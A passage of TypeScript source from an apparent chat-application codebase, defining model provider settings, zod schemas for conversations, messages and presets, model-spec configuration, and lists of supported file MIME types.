default: 0 as const,\n },\n frequency_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 0 as const,\n },\n resendFiles: {\n default: true as const,\n },\n maxContextTokens: {\n default: undefined,\n },\n max_tokens: {\n default: undefined,\n },\n imageDetail: {\n default: ImageDetail.auto as const,\n min: 0 as const,\n max: 2 as const,\n step: 1 as const,\n },\n};\n\nexport const googleSettings = {\n model: {\n default: 'gemini-1.5-flash-latest' as const,\n },\n maxOutputTokens: {\n min: 1 as const,\n max: 64000 as const,\n step: 1 as const,\n default: 8192 as const,\n },\n temperature: {\n min: 0 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n topP: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 0.95 as const,\n },\n topK: {\n min: 1 as const,\n max: 40 as const,\n step: 1 as const,\n default: 40 as const,\n },\n thinking: {\n default: true as const,\n },\n thinkingBudget: {\n min: -1 as const,\n max: 32000 as const,\n step: 1 as const,\n /** `-1` = Dynamic Thinking, meaning the model will adjust\n * the budget based on the complexity of the request.\n */\n default: -1 as const,\n },\n thinkingLevel: {\n default: ThinkingLevel.unset as const,\n },\n};\n\nconst ANTHROPIC_MAX_OUTPUT = 128000 as const;\nconst CLAUDE_4_64K_MAX_OUTPUT = 64000 as const;\nconst CLAUDE_32K_MAX_OUTPUT = 32000 as const;\nconst DEFAULT_MAX_OUTPUT = 8192 as const;\nconst LEGACY_ANTHROPIC_MAX_OUTPUT = 4096 as const;\nexport const anthropicSettings = {\n model: {\n default: 'claude-3-5-sonnet-latest' as const,\n },\n temperature: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n promptCache: {\n default: true as const,\n },\n thinking: {\n default: true as const,\n },\n thinkingBudget: {\n min: 1024 as const,\n step: 100 as const,\n max: 200000 as const,\n default: 2000 as const,\n },\n maxOutputTokens: {\n min: 1 as const,\n max: ANTHROPIC_MAX_OUTPUT,\n step: 1 as const,\n default: DEFAULT_MAX_OUTPUT,\n reset: (modelName: string) => {\n if (/claude-opus[-.]?(?:4[-.]?(?:[6-9]|\\d{2,})|[5-9]|\\d{2,})/.test(modelName)) {\n return ANTHROPIC_MAX_OUTPUT;\n }\n\n if (/claude-(?:sonnet|haiku)[-.]?[4-9]/.test(modelName)) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n\n if (/claude-opus[-.]?(?:[5-9]|4[-.]?([5-9]|\\d{2,}))/.test(modelName)) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n\n if (/claude-opus[-.]?[4-9]/.test(modelName)) {\n return CLAUDE_32K_MAX_OUTPUT;\n }\n\n return DEFAULT_MAX_OUTPUT;\n },\n set: (value: number, modelName: string) => {\n if (/claude-opus[-.]?(?:4[-.]?(?:[6-9]|\\d{2,})|[5-9]|\\d{2,})/.test(modelName)) {\n if (value > ANTHROPIC_MAX_OUTPUT) {\n return ANTHROPIC_MAX_OUTPUT;\n }\n return value;\n }\n\n if (/claude-(?:sonnet|haiku)[-.]?[4-9]/.test(modelName) && value > CLAUDE_4_64K_MAX_OUTPUT) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n\n if (/claude-opus[-.]?(?:[5-9]|4[-.]?([5-9]|\\d{2,}))/.test(modelName)) {\n if (value > CLAUDE_4_64K_MAX_OUTPUT) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n return value;\n }\n\n if (/claude-opus[-.]?[4-9]/.test(modelName) && value > CLAUDE_32K_MAX_OUTPUT) {\n return CLAUDE_32K_MAX_OUTPUT;\n }\n\n if (value > ANTHROPIC_MAX_OUTPUT) {\n return ANTHROPIC_MAX_OUTPUT;\n }\n\n return value;\n },\n },\n topP: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 0.7 as const,\n },\n topK: {\n min: 1 as const,\n max: 40 as const,\n step: 1 as const,\n default: 5 as const,\n },\n resendFiles: {\n default: true as const,\n },\n maxContextTokens: {\n default: undefined,\n },\n legacy: {\n maxOutputTokens: {\n min: 1 as const,\n max: LEGACY_ANTHROPIC_MAX_OUTPUT,\n step: 1 as const,\n default: LEGACY_ANTHROPIC_MAX_OUTPUT,\n },\n },\n effort: {\n default: AnthropicEffort.unset,\n options: [\n AnthropicEffort.unset,\n AnthropicEffort.low,\n AnthropicEffort.medium,\n AnthropicEffort.high,\n AnthropicEffort.max,\n ],\n },\n web_search: {\n default: false as const,\n },\n};\n\nexport const agentsSettings = {\n model: {\n default: 'gpt-3.5-turbo-test' as const,\n },\n temperature: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n top_p: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n presence_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 0 as const,\n },\n frequency_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 0 as const,\n },\n resendFiles: {\n default: true as const,\n },\n maxContextTokens: {\n default: undefined,\n },\n max_tokens: {\n default: undefined,\n },\n imageDetail: {\n default: ImageDetail.auto as const,\n },\n};\n\nexport const endpointSettings = {\n [EModelEndpoint.openAI]: openAISettings,\n [EModelEndpoint.google]: googleSettings,\n [EModelEndpoint.anthropic]: anthropicSettings,\n [EModelEndpoint.agents]: agentsSettings,\n [EModelEndpoint.bedrock]: agentsSettings,\n};\n\nconst google = endpointSettings[EModelEndpoint.google];\n\nexport const eModelEndpointSchema = z.nativeEnum(EModelEndpoint);\n\nexport const extendedModelEndpointSchema = z.union([eModelEndpointSchema, z.string()]);\n\nexport const tPluginAuthConfigSchema = z.object({\n authField: z.string(),\n label: z.string(),\n description: z.string(),\n optional: z.boolean().optional(),\n});\n\nexport type TPluginAuthConfig = z.infer<typeof tPluginAuthConfigSchema>;\n\nexport const tPluginSchema = z.object({\n name: z.string(),\n pluginKey: z.string(),\n description: z.string().optional(),\n icon: z.string().optional(),\n authConfig: z.array(tPluginAuthConfigSchema).optional(),\n authenticated: z.boolean().optional(),\n chatMenu: z.boolean().optional(),\n isButton: z.boolean().optional(),\n toolkit: z.boolean().optional(),\n});\n\nexport type TPlugin = z.infer<typeof tPluginSchema>;\n\nexport type TInput = {\n inputStr: string;\n};\n\nexport const tExampleSchema = z.object({\n input: z.object({\n content: z.string(),\n }),\n output: z.object({\n content: z.string(),\n }),\n});\n\nexport type TExample = z.infer<typeof tExampleSchema>;\n\nexport const tMessageSchema = z.object({\n messageId: z.string(),\n endpoint: z.string().optional(),\n clientId: z.string().nullable().optional(),\n conversationId: z.string().nullable(),\n parentMessageId: z.string().nullable(),\n responseMessageId: z.string().nullable().optional(),\n overrideParentMessageId: z.string().nullable().optional(),\n bg: z.string().nullable().optional(),\n model: z.string().nullable().optional(),\n title: z.string().nullable().or(z.literal('New Chat')).default('New Chat'),\n sender: z.string().optional(),\n text: z.string(),\n /** @deprecated */\n generation: z.string().nullable().optional(),\n isCreatedByUser: z.boolean(),\n error: z.boolean().optional(),\n clientTimestamp: z.string().optional(),\n createdAt: z\n .string()\n .optional()\n .default(() => new Date().toISOString()),\n updatedAt: z\n .string()\n .optional()\n .default(() => new Date().toISOString()),\n current: z.boolean().optional(),\n unfinished: z.boolean().optional(),\n searchResult: z.boolean().optional(),\n finish_reason: z.string().optional(),\n /* assistant */\n thread_id: z.string().optional(),\n /* frontend components */\n iconURL: z.string().nullable().optional(),\n feedback: feedbackSchema.optional(),\n /** metadata */\n metadata: z.record(z.unknown()).optional(),\n contextMeta: z\n .object({\n calibrationRatio: z\n .number()\n .optional()\n .describe('EMA ratio of provider-reported vs local token estimates; seeds the pruner on subsequent runs'),\n encoding: z\n .string()\n .optional()\n .describe('Tokenizer encoding used when this ratio was computed (e.g. \"claude\", \"o200k_base\")'),\n })\n .optional(),\n});\n\nexport type MemoryArtifact = {\n key: string;\n value?: string;\n tokenCount?: number;\n type: 'update' | 'delete' | 'error';\n};\n\nexport type UIResource = {\n resourceId: string;\n uri: string;\n mimeType?: string;\n text?: string;\n [key: string]: unknown;\n};\n\nexport type TAttachmentMetadata = {\n type?: Tools;\n messageId: string;\n toolCallId: string;\n [Tools.memory]?: MemoryArtifact;\n [Tools.ui_resources]?: UIResource[];\n [Tools.web_search]?: SearchResultData;\n [Tools.file_search]?: SearchResultData;\n};\n\nexport type TAttachment =\n | (TFile & TAttachmentMetadata)\n | (Pick<TFile, 'filename' | 'filepath' | 'conversationId'> & {\n expiresAt: number;\n } & TAttachmentMetadata)\n | (Partial<Pick<TFile, 'filename' | 'filepath'>> &\n Pick<TFile, 'conversationId'> &\n TAttachmentMetadata);\n\nexport type TMessage = z.input<typeof tMessageSchema> & {\n children?: TMessage[];\n content?: TMessageContentParts[];\n files?: Partial<TFile>[];\n depth?: number;\n siblingIndex?: number;\n attachments?: TAttachment[];\n clientTimestamp?: string;\n feedback?: TFeedback;\n};\n\nexport const coerceNumber = z.union([z.number(), z.string()]).transform((val) => {\n if (typeof val === 'string') {\n return val.trim() === '' ? undefined : parseFloat(val);\n }\n return val;\n});\n\ntype DocumentTypeValue =\n | null\n | boolean\n | number\n | string\n | DocumentTypeValue[]\n | { [key: string]: DocumentTypeValue };\n\nconst DocumentType: z.ZodType<DocumentTypeValue> = z.lazy(() =>\n z.union([\n z.null(),\n z.boolean(),\n z.number(),\n z.string(),\n z.array(z.lazy(() => DocumentType)),\n z.record(z.lazy(() => DocumentType)),\n ]),\n);\n\nexport const tConversationSchema = z.object({\n conversationId: z.string().nullable(),\n endpoint: eModelEndpointSchema.nullable(),\n endpointType: eModelEndpointSchema.nullable().optional(),\n isArchived: z.boolean().optional(),\n title: z.string().nullable().or(z.literal('New Chat')).default('New Chat'),\n user: z.string().optional(),\n messages: z.array(z.string()).optional(),\n tools: z.union([z.array(tPluginSchema), z.array(z.string())]).optional(),\n modelLabel: z.string().nullable().optional(),\n userLabel: z.string().optional(),\n model: z.string().nullable().optional(),\n promptPrefix: z.string().nullable().optional(),\n temperature: z.number().nullable().optional(),\n topP: z.number().optional(),\n topK: z.number().optional(),\n top_p: z.number().optional(),\n frequency_penalty: z.number().optional(),\n presence_penalty: z.number().optional(),\n parentMessageId: z.string().optional(),\n maxOutputTokens: coerceNumber.nullable().optional(),\n maxContextTokens: coerceNumber.optional(),\n max_tokens: coerceNumber.optional(),\n /* Anthropic */\n promptCache: z.boolean().optional(),\n system: z.string().optional(),\n thinking: z.boolean().optional(),\n thinkingBudget: coerceNumber.optional(),\n thinkingLevel: eThinkingLevelSchema.optional(),\n stream: z.boolean().optional(),\n /* artifacts */\n artifacts: z.string().optional(),\n /* google */\n context: z.string().nullable().optional(),\n examples: z.array(tExampleSchema).optional(),\n /* DB */\n tags: z.array(z.string()).optional(),\n createdAt: z.string(),\n updatedAt: z.string(),\n /* Files */\n resendFiles: z.boolean().optional(),\n file_ids: z.array(z.string()).optional(),\n /* vision */\n imageDetail: eImageDetailSchema.optional(),\n /* OpenAI: Reasoning models only */\n reasoning_effort: eReasoningEffortSchema.optional().nullable(),\n reasoning_summary: eReasoningSummarySchema.optional().nullable(),\n /* OpenAI: Verbosity control */\n verbosity: eVerbositySchema.optional().nullable(),\n /* OpenAI: use Responses API */\n useResponsesApi: z.boolean().optional(),\n /* Anthropic: Effort control */\n effort: eAnthropicEffortSchema.optional().nullable(),\n /* OpenAI Responses API / Anthropic API / Google API */\n web_search: z.boolean().optional(),\n /* disable streaming */\n disableStreaming: z.boolean().optional(),\n /* assistant */\n assistant_id: z.string().optional(),\n /* agents */\n agent_id: z.string().optional(),\n /* AWS Bedrock */\n region: z.string().optional(),\n maxTokens: coerceNumber.optional(),\n additionalModelRequestFields: DocumentType.optional(),\n /* assistants */\n instructions: z.string().optional(),\n additional_instructions: z.string().optional(),\n append_current_datetime: z.boolean().optional(),\n /** Used to overwrite active conversation settings when saving a Preset */\n presetOverride: z.record(z.unknown()).optional(),\n stop: z.array(z.string()).optional(),\n /* frontend components */\n greeting: z.string().optional(),\n spec: z.string().nullable().optional(),\n iconURL: z.string().nullable().optional(),\n /* temporary chat */\n expiredAt: z.string().nullable().optional(),\n /* file token limits */\n fileTokenLimit: coerceNumber.optional(),\n /** @deprecated */\n resendImages: z.boolean().optional(),\n /** @deprecated Prefer `modelLabel` over `chatGptLabel` */\n chatGptLabel: z.string().nullable().optional(),\n});\n\nexport const tPresetSchema = tConversationSchema\n .omit({\n conversationId: true,\n createdAt: true,\n updatedAt: true,\n title: true,\n })\n .merge(\n z.object({\n conversationId: z.string().nullable().optional(),\n presetId: z.string().nullable().optional(),\n title: z.string().nullable().optional(),\n defaultPreset: z.boolean().optional(),\n order: z.number().optional(),\n endpoint: extendedModelEndpointSchema.nullable(),\n }),\n );\n\nexport const tConvoUpdateSchema = tConversationSchema.merge(\n z.object({\n endpoint: extendedModelEndpointSchema.nullable(),\n createdAt: z.string().optional(),\n updatedAt: z.string().optional(),\n }),\n);\n\nexport const tQueryParamsSchema = tConversationSchema\n .pick({\n // librechat settings\n /** The model spec to be used */\n spec: true,\n /** The AI context window, overrides the system-defined window as determined by `model` value */\n maxContextTokens: true,\n /**\n * Whether or not to re-submit files from previous messages on subsequent messages\n * */\n resendFiles: true,\n /**\n * @endpoints openAI, custom, azureOpenAI\n *\n * System parameter that only affects the above endpoints.\n * Image detail for re-sizing according to OpenAI spec, defaults to `auto`\n * */\n imageDetail: true,\n /**\n * AKA Custom Instructions, dynamically added to chat history as a system message;\n * for `bedrock` endpoint, this is used as the `system` model param if the provider uses it;\n * for `assistants` endpoint, this is used as the `additional_instructions` model param:\n * https://platform.openai.com/docs/api-reference/runs/createRun#runs-createrun-additional_instructions\n * ; otherwise, a message with `system` role is added to the chat history\n */\n promptPrefix: true,\n // Model parameters\n /** @endpoints openAI, custom, azureOpenAI, google, anthropic, assistants, azureAssistants, bedrock */\n model: true,\n /** @endpoints openAI, custom, azureOpenAI, google, anthropic, bedrock */\n temperature: true,\n /** @endpoints openAI, custom, azureOpenAI */\n presence_penalty: true,\n /** @endpoints openAI, custom, azureOpenAI */\n frequency_penalty: true,\n /** @endpoints openAI, custom, azureOpenAI */\n stop: true,\n /** @endpoints openAI, custom, azureOpenAI */\n top_p: true,\n /** @endpoints openAI, custom, azureOpenAI */\n max_tokens: true,\n /** @endpoints openAI, custom, azureOpenAI */\n reasoning_effort: true,\n /** @endpoints openAI, custom, azureOpenAI */\n reasoning_summary: true,\n /** @endpoints openAI, custom, azureOpenAI */\n verbosity: true,\n /** @endpoints openAI, custom, azureOpenAI */\n useResponsesApi: true,\n /** @endpoints openAI, anthropic, google */\n web_search: true,\n /** @endpoints openAI, custom, azureOpenAI */\n disableStreaming: true,\n /** @endpoints google, anthropic, bedrock */\n topP: true,\n /** @endpoints google, anthropic */\n topK: true,\n /** @endpoints google, anthropic */\n maxOutputTokens: true,\n /** @endpoints anthropic */\n promptCache: true,\n thinking: true,\n thinkingBudget: true,\n thinkingLevel: true,\n effort: true,\n /** @endpoints bedrock */\n region: true,\n /** @endpoints bedrock */\n maxTokens: true,\n /** @endpoints agents */\n agent_id: true,\n /** @endpoints assistants, azureAssistants */\n assistant_id: true,\n /** @endpoints assistants, azureAssistants */\n append_current_datetime: true,\n /**\n * @endpoints assistants, azureAssistants\n *\n * Overrides existing assistant instructions, only used for the current run:\n * https://platform.openai.com/docs/api-reference/runs/createRun#runs-createrun-instructions\n * */\n instructions: true,\n /** @endpoints openAI, google, anthropic */\n fileTokenLimit: true,\n })\n .merge(\n z.object({\n /** @endpoints openAI, custom, azureOpenAI, google, anthropic, assistants, azureAssistants, bedrock, agents */\n endpoint: extendedModelEndpointSchema.nullable(),\n }),\n );\n\nexport type TPreset = z.infer<typeof tPresetSchema>;\n\nexport type TSetOption = (\n param: number | string,\n) => (newValue: number | string | boolean | string[] | Partial<TPreset>) => void;\n\nexport type TConversation = z.infer<typeof tConversationSchema> & {\n presetOverride?: Partial<TPreset>;\n disableParams?: boolean;\n};\n\nexport const tSharedLinkSchema = z.object({\n conversationId: z.string(),\n shareId: z.string(),\n messages: z.array(z.string()),\n isPublic: z.boolean(),\n title: z.string(),\n createdAt: z.string(),\n updatedAt: z.string(),\n});\n\nexport type TSharedLink = z.infer<typeof tSharedLinkSchema>;\n\nexport const tConversationTagSchema = z.object({\n _id: z.string(),\n user: z.string(),\n tag: z.string(),\n description: z.string().optional(),\n createdAt: z.string(),\n updatedAt: z.string(),\n count: z.number(),\n position: z.number(),\n});\nexport type TConversationTag = z.infer<typeof tConversationTagSchema>;\n\nexport const googleBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n promptPrefix: true,\n examples: true,\n temperature: true,\n maxOutputTokens: true,\n artifacts: true,\n topP: true,\n topK: true,\n thinking: true,\n thinkingBudget: true,\n thinkingLevel: true,\n web_search: true,\n fileTokenLimit: true,\n iconURL: true,\n greeting: true,\n spec: true,\n maxContextTokens: true,\n});\n\nexport const googleSchema = googleBaseSchema\n .transform((obj: Partial<TConversation>) => removeNullishValues(obj, true))\n .catch(() => ({}));\n\n/**\n * TODO: Map the following fields:\n - presence_penalty -> presencePenalty\n - frequency_penalty -> frequencyPenalty\n - stop -> stopSequences\n */\nexport const googleGenConfigSchema = z\n .object({\n maxOutputTokens: coerceNumber.optional(),\n temperature: coerceNumber.optional(),\n topP: coerceNumber.optional(),\n topK: coerceNumber.optional(),\n presencePenalty: coerceNumber.optional(),\n frequencyPenalty: coerceNumber.optional(),\n stopSequences: z.array(z.string()).optional(),\n thinkingConfig: z\n .object({\n includeThoughts: z.boolean().optional(),\n thinkingBudget: coerceNumber.optional(),\n thinkingLevel: z.string().optional(),\n })\n .optional(),\n web_search: z.boolean().optional(),\n })\n .strip()\n .optional();\n\nexport function removeNullishValues<T extends Record<string, unknown>>(\n obj: T,\n removeEmptyStrings?: boolean,\n): Partial<T> {\n const newObj: Partial<T> = { ...obj };\n\n (Object.keys(newObj) as Array<keyof T>).forEach((key) => {\n const value = newObj[key];\n if (value === undefined || value === null) {\n delete newObj[key];\n }\n if (removeEmptyStrings && typeof value === 'string' && value === '') {\n delete newObj[key];\n }\n });\n\n return newObj;\n}\n\nconst assistantBaseSchema = tConversationSchema.pick({\n model: true,\n assistant_id: true,\n instructions: true,\n artifacts: true,\n promptPrefix: true,\n iconURL: true,\n greeting: true,\n spec: true,\n append_current_datetime: true,\n});\n\nexport const assistantSchema = assistantBaseSchema\n .transform((obj) => ({\n ...obj,\n model: obj.model ?? openAISettings.model.default,\n assistant_id: obj.assistant_id ?? undefined,\n instructions: obj.instructions ?? undefined,\n promptPrefix: obj.promptPrefix ?? null,\n iconURL: obj.iconURL ?? undefined,\n greeting: obj.greeting ?? undefined,\n spec: obj.spec ?? undefined,\n append_current_datetime: obj.append_current_datetime ?? false,\n }))\n .catch(() => ({\n model: openAISettings.model.default,\n assistant_id: undefined,\n instructions: undefined,\n promptPrefix: null,\n iconURL: undefined,\n greeting: undefined,\n spec: undefined,\n append_current_datetime: false,\n }));\n\nconst compactAssistantBaseSchema = tConversationSchema.pick({\n model: true,\n assistant_id: true,\n instructions: true,\n promptPrefix: true,\n artifacts: true,\n iconURL: true,\n greeting: true,\n spec: true,\n});\n\nexport const compactAssistantSchema = compactAssistantBaseSchema\n .transform((obj) => removeNullishValues(obj))\n .catch(() => ({}));\n\nexport const agentsBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n temperature: true,\n top_p: true,\n presence_penalty: true,\n frequency_penalty: true,\n resendFiles: true,\n imageDetail: true,\n agent_id: true,\n instructions: true,\n promptPrefix: true,\n iconURL: true,\n greeting: true,\n maxContextTokens: true,\n});\n\nexport const agentsSchema = agentsBaseSchema\n .transform((obj) => ({\n ...obj,\n model: obj.model ?? agentsSettings.model.default,\n modelLabel: obj.modelLabel ?? null,\n temperature: obj.temperature ?? 1,\n top_p: obj.top_p ?? 1,\n presence_penalty: obj.presence_penalty ?? 0,\n frequency_penalty: obj.frequency_penalty ?? 0,\n resendFiles:\n typeof obj.resendFiles === 'boolean' ? obj.resendFiles : agentsSettings.resendFiles.default,\n imageDetail: obj.imageDetail ?? ImageDetail.auto,\n agent_id: obj.agent_id ?? undefined,\n instructions: obj.instructions ?? undefined,\n promptPrefix: obj.promptPrefix ?? null,\n iconURL: obj.iconURL ?? undefined,\n greeting: obj.greeting ?? undefined,\n maxContextTokens: obj.maxContextTokens ?? undefined,\n }))\n .catch(() => ({\n model: agentsSettings.model.default,\n modelLabel: null,\n temperature: 1,\n top_p: 1,\n presence_penalty: 0,\n frequency_penalty: 0,\n resendFiles: agentsSettings.resendFiles.default,\n imageDetail: ImageDetail.auto,\n agent_id: undefined,\n instructions: undefined,\n promptPrefix: null,\n iconURL: undefined,\n greeting: undefined,\n maxContextTokens: undefined,\n }));\n\nexport const openAIBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n chatGptLabel: true,\n promptPrefix: true,\n temperature: true,\n top_p: true,\n presence_penalty: true,\n frequency_penalty: true,\n resendFiles: true,\n artifacts: true,\n imageDetail: true,\n stop: true,\n iconURL: true,\n greeting: true,\n spec: true,\n maxContextTokens: true,\n max_tokens: true,\n reasoning_effort: true,\n reasoning_summary: true,\n verbosity: true,\n useResponsesApi: true,\n web_search: true,\n disableStreaming: true,\n fileTokenLimit: true,\n});\n\nexport const openAISchema = openAIBaseSchema\n .transform((obj: Partial<TConversation>) => removeNullishValues(obj, true))\n .catch(() => ({}));\n\nexport const compactGoogleSchema = googleBaseSchema\n .transform((obj) => {\n const newObj: Partial<TConversation> = { ...obj };\n if (newObj.temperature === google.temperature.default) {\n delete newObj.temperature;\n }\n if (newObj.maxOutputTokens === google.maxOutputTokens.default) {\n delete newObj.maxOutputTokens;\n }\n if (newObj.topP === google.topP.default) {\n delete newObj.topP;\n }\n if (newObj.topK === google.topK.default) {\n delete newObj.topK;\n }\n\n return removeNullishValues(newObj, true);\n })\n .catch(() => ({}));\n\nexport const anthropicBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n promptPrefix: true,\n temperature: true,\n maxOutputTokens: true,\n topP: true,\n topK: true,\n resendFiles: true,\n promptCache: true,\n thinking: true,\n thinkingBudget: true,\n effort: true,\n artifacts: true,\n iconURL: true,\n greeting: true,\n spec: true,\n maxContextTokens: true,\n web_search: true,\n fileTokenLimit: true,\n stop: true,\n stream: true,\n});\n\nexport const anthropicSchema = anthropicBaseSchema\n .transform((obj) => removeNullishValues(obj))\n .catch(() => ({}));\n\nexport const tBannerSchema = z.object({\n bannerId: z.string(),\n message: z.string(),\n displayFrom: z.string(),\n displayTo: z.string(),\n createdAt: z.string(),\n updatedAt: z.string(),\n isPublic: z.boolean(),\n persistable: z.boolean().default(false),\n});\nexport type TBanner = z.infer<typeof tBannerSchema>;\n\nexport const compactAgentsBaseSchema = tConversationSchema.pick({\n spec: true,\n // model: true,\n iconURL: true,\n greeting: true,\n agent_id: true,\n instructions: true,\n additional_instructions: true,\n});\n\nexport const compactAgentsSchema = compactAgentsBaseSchema\n .transform((obj) => removeNullishValues(obj))\n .catch(() => ({}));\n","import { z } from 'zod';\nimport type { TPreset } from './schemas';\nimport {\n EModelEndpoint,\n tPresetSchema,\n eModelEndpointSchema,\n AuthType,\n authTypeSchema,\n} from './schemas';\n\nexport type TModelSpec = {\n name: string;\n label: string;\n preset: TPreset;\n order?: number;\n default?: boolean;\n description?: string;\n /**\n * Optional group name for organizing specs in the UI selector.\n * - If it matches an endpoint name (e.g., \"openAI\", \"groq\"), the spec appears nested under that endpoint\n * - If it's a custom name (doesn't match any endpoint), it creates a separate collapsible group\n * - If omitted, the spec appears as a standalone item at the top level\n */\n group?: string;\n /**\n * Optional icon URL for the group this spec belongs to.\n * Only needs to be set on one spec per group - the first one found with a groupIcon will be used.\n * Can be a URL or an endpoint name to use its icon.\n */\n groupIcon?: string | EModelEndpoint;\n showIconInMenu?: boolean;\n showIconInHeader?: boolean;\n iconURL?: string | EModelEndpoint; // Allow using project-included icons\n authType?: AuthType;\n webSearch?: boolean;\n fileSearch?: boolean;\n executeCode?: boolean;\n artifacts?: string | boolean;\n mcpServers?: string[];\n};\n\nexport const tModelSpecSchema = z.object({\n name: z.string(),\n label: z.string(),\n preset: tPresetSchema,\n order: z.number().optional(),\n default: z.boolean().optional(),\n description: z.string().optional(),\n group: z.string().optional(),\n groupIcon: z.union([z.string(), eModelEndpointSchema]).optional(),\n showIconInMenu: z.boolean().optional(),\n showIconInHeader: z.boolean().optional(),\n iconURL: z.union([z.string(), eModelEndpointSchema]).optional(),\n authType: authTypeSchema.optional(),\n webSearch: z.boolean().optional(),\n fileSearch: z.boolean().optional(),\n executeCode: z.boolean().optional(),\n artifacts: z.union([z.string(), z.boolean()]).optional(),\n mcpServers: z.array(z.string()).optional(),\n});\n\nexport const specsConfigSchema = z.object({\n enforce: z.boolean().default(false),\n prioritize: z.boolean().default(true),\n list: z.array(tModelSpecSchema).min(1),\n addedEndpoints: z.array(z.union([z.string(), eModelEndpointSchema])).optional(),\n});\n\nexport type TSpecsConfig = z.infer<typeof specsConfigSchema>;\n","import { z } from 'zod';\nimport type { EndpointFileConfig, FileConfig } from './types/files';\nimport { EModelEndpoint, isAgentsEndpoint, isDocumentSupportedProvider } from './schemas';\nimport { normalizeEndpointName } from './utils';\n\nexport const supportsFiles = {\n [EModelEndpoint.openAI]: true,\n [EModelEndpoint.google]: true,\n [EModelEndpoint.assistants]: true,\n [EModelEndpoint.azureAssistants]: true,\n [EModelEndpoint.agents]: true,\n [EModelEndpoint.azureOpenAI]: true,\n [EModelEndpoint.anthropic]: true,\n [EModelEndpoint.custom]: true,\n [EModelEndpoint.bedrock]: true,\n};\n\nexport const excelFileTypes = [\n 'application/vnd.ms-excel',\n 'application/msexcel',\n 'application/x-msexcel',\n 'application/x-ms-excel',\n 'application/x-excel',\n 'application/x-dos_ms_excel',\n 'application/xls',\n 'application/x-xls',\n 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n];\n\nexport const fullMimeTypesList = [\n 'text/x-c',\n 'text/x-c++',\n 'application/csv',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'text/html',\n 'text/x-java',\n 'application/json',\n 'text/markdown',\n 'application/pdf',\n 'text/x-php',\n 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'text/x-python',\n 'text/x-script.python',\n 'text/x-ruby',\n 'text/x-tex',\n 'text/plain',\n 'text/css',\n 'text/vtt',\n 'image/jpeg',\n 'text/javascript',\n 'image/gif',\n 'image/png',\n 'image/heic',\n 'image/heif',\n 'application/x-tar',\n 'application/x-sh',\n 'application/typescript',\n 'application/sql',\n 'application/yaml',\n 'application/vnd.coffeescript',\n 'application/xml',\n 'application/zip',\n 'application/x-parquet',\n 'application/vnd.oasis.opendocument.text',\n 'application/vnd.oasis.opendocument.spreadsheet',\n 'application/vnd.oasis.opendocument.presentation',\n 'application/vnd.oasis.opendocument.graphics',\n 'image/svg',\n 'image/svg+xml',\n // Video formats\n 'video/mp4',\n 'video/avi',\n 'video/mov',\n 'video/wmv',\n 'video/flv',\n 'video/webm',\n 'video/mkv',\n 'video/m4v',\n 'video/3gp',\n 'video/ogv',\n // Audio formats\n 'audio/mp3',\n 'audio/wav',\n 'audio/ogg',\n 'audio/m4a',\n 'audio/aac',\n 'audio/flac',\n 'audio/wma',\n 'audio/opus',\n 'audio/mpeg',\n ...excelFileTypes,\n];\n\nexport const codeInterpreterMimeTypesList = [\n 'text/x-c',\n 'text/x-c++',\n 'application/csv',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'text/html',\n 'text/x-java',\n 'application/json',\n 'text/markdown',\n 'application/pdf',\n 'text/x-php',\n 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'text/x-python',\n 'text/x-script.python',\n 'text/x-ruby',\n 'text/x-tex',\n 'text/plain',\n 'text/css',\n 'image/jpeg',\n 'text/javascript',\n 'image/gif',\n 'image/png',\n 'image/heic',\n 'image/heif',\n 'application/x-tar',\n 'application/typescript',\n 'application/xml',\n 'application/zip',\n 'application/x-parquet',\n ...excelFileTypes,\n];\n\nexport const retrievalMimeTypesList = [\n 'text/x-c',\n 'text/x-c++',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'text/html',\n 'text/x-java',\n 'application/json',\n 'text/markdown',\n 'application/pdf',\n 'text/x-php',\n 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'text/x-python',\n 'text/x-script.python',\n 'text/x-ruby',\n 'text/x-tex',\n 'text/plain',\n];\n\nexport const imageExtRegex = /\\.(jpg|jpeg|png|gif|webp|heic|heif)$/i;\n\n/** @see https://docs.aws.amazon.com/bedrock/latest/APIReference/API_runtime_DocumentBlock.html */\nexport type BedrockDocumentFormat =\n | 'pdf'\n | 'csv'\n | 'doc'\n | 'docx'\n | 'xls'\n | 'xlsx'\n | 'html'\n | 'txt'\n | 'md';\n\n/** Maps MIME types to Bedrock Converse API document format values */\nexport const bedrockDocumentFormats: Record<string, BedrockDocumentFormat> = {\n 'application/pdf': 'pdf',\n 'text/csv': 'csv',\n 'application/csv': 'csv',\n 'application/msword': 'doc',\n 'application/vnd.openxmlformats-officedocument.wordprocessingml.document': 'docx',\n 'application/vnd.ms-excel': 'xls',\n 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet': 'xlsx',\n 'text/html': 'html',\n 'text/plain': 'txt',\n 'text/markdown': 'md',\n};\n\nexport const isBedrockDocumentType = (mimeType?: string): boolean =>\n mimeType != null && mimeType in bedrockDocumentFormats;\n\n/** File extensions accepted by Bedrock document uploads (for input accept attributes) */\nexport const 